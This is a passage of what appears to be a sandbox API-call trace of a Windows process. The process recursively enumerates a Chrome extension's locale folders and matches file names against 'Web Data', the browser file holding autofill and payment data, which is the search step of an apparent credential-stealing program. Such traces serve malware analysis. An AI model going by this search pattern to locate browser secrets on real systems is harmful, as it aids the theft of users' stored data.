Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ko\\*.*" [0054.379] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ko\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.380] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0054.380] FindNextFileA (in: hFindFile=0x72dd10, lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 1 [0054.380] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0054.380] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0054.380] FindNextFileA (in: hFindFile=0x72dd10, lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 1 [0054.380] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0054.380] FindNextFileA (in: hFindFile=0x72dd10, lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0 [0054.380] FindClose (in: hFindFile=0x72dd10 | out: hFindFile=0x72dd10) returned 1 [0054.380] LocalFree (hMem=0x74cf00) returned 0x0 [0054.380] LocalFree (hMem=0x74d010) returned 0x0 [0054.380] FindNextFileA (in: hFindFile=0x72dbd0, lpFindFileData=0xef34c | out: lpFindFileData=0xef34c) returned 1 [0054.380] lstrcmpiA (lpString1=".", lpString2="lt") returned -1 [0054.380] lstrcmpiA (lpString1="..", lpString2="lt") returned -1 [0054.380] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned 128 [0054.380] lstrlenA (lpString="\\") returned 1 [0054.380] LocalAlloc (uFlags=0x40, uBytes=0x102) returned 0x74cf00 [0054.380] lstrcpyA (in: lpString1=0x74cf00, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" [0054.380] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0054.380] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned 129 [0054.380] lstrlenA (lpString="lt") returned 2 [0054.380] LocalAlloc (uFlags=0x40, uBytes=0x104) returned 0x74d010 [0054.380] lstrcpyA (in: lpString1=0x74d010, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0054.380] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\", lpString2="lt" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lt") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lt" [0054.380] LocalFree (hMem=0x74cf00) returned 0x0 [0054.380] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lt") returned 131 [0054.380] lstrlenA (lpString="\\*.*") returned 4 [0054.380] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x74cf00 [0054.380] lstrcpyA (in: lpString1=0x74cf00, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lt" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lt") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lt" [0054.380] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lt", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lt\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lt\\*.*" [0054.380] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lt\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.380] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0054.380] FindNextFileA (in: hFindFile=0x72dd10, lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 1 [0054.381] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0054.381] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0054.381] FindNextFileA (in: hFindFile=0x72dd10, lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 1 [0054.381] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0054.381] FindNextFileA (in: hFindFile=0x72dd10, lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0 [0054.381] FindClose (in: hFindFile=0x72dd10 | out: hFindFile=0x72dd10) returned 1 [0054.381] LocalFree (hMem=0x74cf00) returned 0x0 [0054.381] LocalFree (hMem=0x74d010) returned 0x0 [0054.381] FindNextFileA (in: hFindFile=0x72dbd0, lpFindFileData=0xef34c | out: lpFindFileData=0xef34c) returned 1 [0054.381] lstrcmpiA (lpString1=".", lpString2="lv") returned -1 [0054.381] lstrcmpiA (lpString1="..", lpString2="lv") returned -1 [0054.381] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned 128 [0054.381] lstrlenA (lpString="\\") returned 1 [0054.381] LocalAlloc (uFlags=0x40, uBytes=0x102) returned 0x74cf00 [0054.381] lstrcpyA (in: lpString1=0x74cf00, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" [0054.381] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0054.381] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned 129 [0054.381] lstrlenA (lpString="lv") returned 2 [0054.381] LocalAlloc (uFlags=0x40, uBytes=0x104) returned 0x74d010 [0054.381] lstrcpyA (in: lpString1=0x74d010, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0054.381] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\", lpString2="lv" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lv") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lv" [0054.381] LocalFree (hMem=0x74cf00) returned 0x0 [0054.381] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lv") returned 131 [0054.381] lstrlenA (lpString="\\*.*") returned 4 [0054.381] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x74cf00 [0054.381] lstrcpyA (in: lpString1=0x74cf00, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lv" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lv") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lv" [0054.381] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lv", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lv\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lv\\*.*" [0054.381] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lv\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.381] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0054.381] FindNextFileA (in: hFindFile=0x72dd10, lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 1 [0054.382] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0054.382] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0054.382] FindNextFileA (in: hFindFile=0x72dd10, lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 1 [0054.382] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0054.382] FindNextFileA (in: hFindFile=0x72dd10, lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0 [0054.382] FindClose (in: hFindFile=0x72dd10 | out: hFindFile=0x72dd10) returned 1 [0054.382] LocalFree (hMem=0x74cf00) returned 0x0 [0054.382] LocalFree (hMem=0x74d010) returned 0x0 [0054.382] FindNextFileA (in: hFindFile=0x72dbd0, lpFindFileData=0xef34c | out: lpFindFileData=0xef34c) returned 1 [0054.382] lstrcmpiA (lpString1=".", lpString2="ms") returned -1 [0054.382] lstrcmpiA (lpString1="..", lpString2="ms") returned -1 [0054.382] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned 128 [0054.382] lstrlenA (lpString="\\") returned 1 [0054.382] LocalAlloc (uFlags=0x40, uBytes=0x102) returned 0x74cf00 [0054.382] lstrcpyA (in: lpString1=0x74cf00, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" [0054.382] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0054.382] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned 129 [0054.382] lstrlenA (lpString="ms") returned 2 [0054.382] LocalAlloc (uFlags=0x40, uBytes=0x104) returned 0x74d010 [0054.382] lstrcpyA (in: lpString1=0x74d010, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0054.382] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\", lpString2="ms" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ms") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ms" [0054.382] LocalFree (hMem=0x74cf00) returned 0x0 [0054.382] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ms") returned 131 [0054.382] lstrlenA (lpString="\\*.*") returned 4 [0054.382] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x74cf00 [0054.382] lstrcpyA (in: lpString1=0x74cf00, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ms" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ms") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ms" [0054.382] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ms", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ms\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ms\\*.*" [0054.382] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ms\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.382] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0054.382] FindNextFileA (in: hFindFile=0x72dd10, lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 1 [0054.382] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0054.382] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0054.382] FindNextFileA (in: hFindFile=0x72dd10, lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 1 [0054.382] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0054.382] FindNextFileA (in: hFindFile=0x72dd10, lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0 [0054.382] FindClose (in: hFindFile=0x72dd10 | out: hFindFile=0x72dd10) returned 1 [0054.382] LocalFree (hMem=0x74cf00) returned 0x0 [0054.382] LocalFree (hMem=0x74d010) returned 0x0 [0054.382] FindNextFileA (in: hFindFile=0x72dbd0, lpFindFileData=0xef34c | out: lpFindFileData=0xef34c) returned 1 [0054.382] lstrcmpiA (lpString1=".", lpString2="nl") returned -1 [0054.382] lstrcmpiA (lpString1="..", lpString2="nl") returned -1 [0054.382] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned 128 [0054.382] lstrlenA (lpString="\\") returned 1 [0054.383] LocalAlloc (uFlags=0x40, uBytes=0x102) returned 0x74cf00 [0054.383] lstrcpyA (in: lpString1=0x74cf00, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" [0054.383] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0054.383] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned 129 [0054.383] lstrlenA (lpString="nl") returned 2 [0054.383] LocalAlloc (uFlags=0x40, uBytes=0x104) returned 0x74d010 [0054.383] lstrcpyA (in: lpString1=0x74d010, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0054.383] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\", lpString2="nl" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\nl") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\nl" [0054.383] LocalFree (hMem=0x74cf00) returned 0x0 [0054.383] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\nl") returned 131 [0054.383] lstrlenA (lpString="\\*.*") returned 4 [0054.383] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x74cf00 [0054.383] lstrcpyA (in: lpString1=0x74cf00, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\nl" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\nl") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\nl" [0054.383] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\nl", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\nl\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\nl\\*.*" [0054.383] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\nl\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.383] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0054.383] FindNextFileA (in: hFindFile=0x72dd10, lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 1 [0054.383] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0054.383] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0054.383] FindNextFileA (in: hFindFile=0x72dd10, lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 1 [0054.383] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0054.383] FindNextFileA (in: hFindFile=0x72dd10, lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0 [0054.383] FindClose (in: hFindFile=0x72dd10 | out: hFindFile=0x72dd10) returned 1 [0054.383] LocalFree (hMem=0x74cf00) returned 0x0 [0054.383] LocalFree (hMem=0x74d010) returned 0x0 [0054.383] FindNextFileA (in: hFindFile=0x72dbd0, lpFindFileData=0xef34c | out: lpFindFileData=0xef34c) returned 1 [0054.383] lstrcmpiA (lpString1=".", lpString2="no") returned -1 [0054.383] lstrcmpiA (lpString1="..", lpString2="no") returned -1 [0054.384] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned 128 [0054.384] lstrlenA (lpString="\\") returned 1 [0054.384] LocalAlloc (uFlags=0x40, uBytes=0x102) returned 0x74cf00 [0054.384] lstrcpyA (in: lpString1=0x74cf00, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" [0054.384] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0054.384] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User 